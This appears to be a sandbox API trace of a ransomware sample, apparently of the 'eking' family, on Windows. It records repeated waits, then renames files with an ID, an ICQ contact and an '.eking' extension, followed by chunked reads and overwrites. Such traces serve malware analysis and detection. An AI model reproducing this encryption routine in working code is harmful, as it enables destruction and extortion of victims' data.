[0212.319] Wow64DisableWow64FsRedirection (in: OldValue=0x30dfdbc | out: OldValue=0x30dfdbc*=0x0) returned 1 [0212.319] GetProcessHeap () returned 0xc10000 [0212.319] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca3d50 | out: hHeap=0xc10000) returned 1 [0212.319] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.319] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.320] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.320] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.320] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.320] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.320] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.320] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.321] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.321] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.321] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.321] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.321] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.321] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.322] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.322] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.322] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.322] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.322] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.322] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.323] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.324] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.324] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.324] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.324] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.324] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.324] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.325] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.325] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.325] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.325] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.325] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.325] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.326] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.326] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.326] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.326] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.326] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.326] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.327] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.327] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.327] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.327] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.327] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.327] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.328] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.328] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.328] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.328] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.328] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.328] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.329] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.329] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.329] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.329] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.329] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.329] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.330] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.330] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.330] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.330] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.331] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.332] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.332] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.332] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.332] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.332] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.332] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.333] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.333] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.333] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.333] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.334] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.334] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.334] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.334] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.334] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.334] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.335] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.335] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.335] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.335] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.335] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.336] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.337] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.338] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.338] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.338] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.338] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.338] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.339] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.339] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.339] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.339] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.339] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.340] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.340] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.340] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.340] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.340] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.340] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.341] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.342] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.343] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.344] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.345] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.346] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.347] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.348] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.349] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.350] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.351] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.351] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.351] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.351] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.557] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0213.077] ResetEvent (hEvent=0x2bc) returned 1 [0213.077] SetEvent (hEvent=0x2c0) returned 1 [0213.077] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0213.574] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5091790) returned 1 [0213.574] CloseHandle (hObject=0x318) returned 1 [0213.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0213.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0213.576] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0213.576] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0213.576] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0213.576] ReadFile (in: hFile=0x318, lpBuffer=0x3580058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3580058*, lpNumberOfBytesRead=0x30dfbc4*=0x40000, lpOverlapped=0x0) returned 1 [0213.598] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0213.600] ReadFile (in: hFile=0x318, lpBuffer=0x35c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x35c0058*, lpNumberOfBytesRead=0x30dfbc4*=0x40000, lpOverlapped=0x0) returned 1 [0213.620] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbb8 | out: lpNewFilePointer=0x0) returned 1 [0213.620] ReadFile (in: hFile=0x318, lpBuffer=0x3600058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3600058*, lpNumberOfBytesRead=0x30dfbc4*=0x40000, lpOverlapped=0x0) returned 1 [0213.864] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd28 | out: lpNewFilePointer=0x0) returned 1 [0213.864] WriteFile (in: hFile=0x318, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xc0132, lpOverlapped=0x0) returned 1 [0214.197] SetEndOfFile (hFile=0x318) returned 1 [0214.202] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbc0 | out: lpNewFilePointer=0x0) returned 1 [0214.202] WriteFile (in: hFile=0x318, lpBuffer=0x364016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x364016a*, lpNumberOfBytesWritten=0x30dfbcc*=0x40000, lpOverlapped=0x0) returned 1 [0214.205] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbc0 | out: lpNewFilePointer=0x0) returned 1 [0214.205] WriteFile (in: hFile=0x318, lpBuffer=0x364016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x364016a*, lpNumberOfBytesWritten=0x30dfbcc*=0x40000, lpOverlapped=0x0) returned 1 [0214.208] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfbc0 | out: lpNewFilePointer=0x0) returned 1 [0214.208] WriteFile (in: hFile=0x318, lpBuffer=0x364016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfbcc, lpOverlapped=0x0 | out: lpBuffer=0x364016a*, lpNumberOfBytesWritten=0x30dfbcc*=0x40000, lpOverlapped=0x0) returned 1 [0214.210] CloseHandle (hObject=0x318) returned 1 [0216.298] SetEvent (hEvent=0x2b8) returned 1 [0216.299] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.490] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=65536) returned 1 [0216.490] CloseHandle (hObject=0x318) returned 1 [0216.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0216.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0216.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.491] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.491] SetEvent (hEvent=0x2b8) returned 1 [0216.491] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.491] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=99744) returned 1 [0216.491] CloseHandle (hObject=0x318) returned 1 [0216.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0216.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0216.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.492] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.492] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 